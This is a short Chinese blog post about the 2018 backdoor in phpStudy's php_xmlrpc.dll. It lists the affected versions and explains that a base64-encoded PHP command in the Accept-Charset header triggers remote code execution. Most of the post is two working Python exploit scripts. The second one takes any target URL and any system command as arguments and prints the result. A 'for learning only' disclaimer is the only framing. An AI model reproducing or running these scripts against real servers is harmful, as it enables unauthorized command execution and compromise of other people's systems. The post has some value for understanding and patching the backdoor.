一、漏洞描述
Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer,多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。2018年被爆出存在后门。
漏洞环境自行搭建。
本博客仅学习使用。
二、漏洞影响版本
phpStudy2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
三、漏洞RCE
访问网站主页抓包,在数据包中添加字段,然后重放数据包即可触发漏洞
accept-charset:base64编码的系统命令
根据数据包编写脚本
# 1.0 版本
# 自己base64系统命令替换程序中的payload即可
import requests
import base64
# 攻击目标
target_url = "http://127.0.0.1"
# cmd = input("命令:")
# payload = base64.b64encode(b'cmd')
payload = base64.b64encode(b'system("whoami");')
# payload = "c3lzdGVtKCJ3aG9hbWkiKTs="
# 定制请求
headers = {"User-Agen": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.3",
"Accept-Encoding": "gzip,deflate",
"Accept-charset": payload,
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}
re = requests.request("GET", target_url, headers=headers, verify=False)
print(re.text)
# 2.0 版本
# python3 rce.py http://127.0.0.1 whoami
import requests
import base64
import sys
# 转义的方式
def EncodeData(data):
data = base64.b64encode(data.encode("UTF-8"))
return data
def rce(url, cmd):
target_url = url
payload = cmd
headers = {
"User-Agen": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.3",
"Accept-Encoding": "gzip,deflate",
"Accept-charset": payload,
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}
result = requests.request("GET", target_url, headers=headers, verify=False)
return result.text
def main():
url = sys.argv[1] # 获取第2个外部参数
payload = sys.argv[2] # 获取第3个外部参数 sys.argv[0]是默认是脚本名称
# cmd = r"system('" + payload + r"')" 这种方式不可用
cmd = "system('{}');".format(payload)
print("已执行:", cmd)
re = rce(url, EncodeData(cmd))
print("执行结果:\n", re)
if __name__ == '__main__':
main()
脚本没有做错误处理,只能简单验证漏洞存在
执行效果:
by 久违
2021.11.1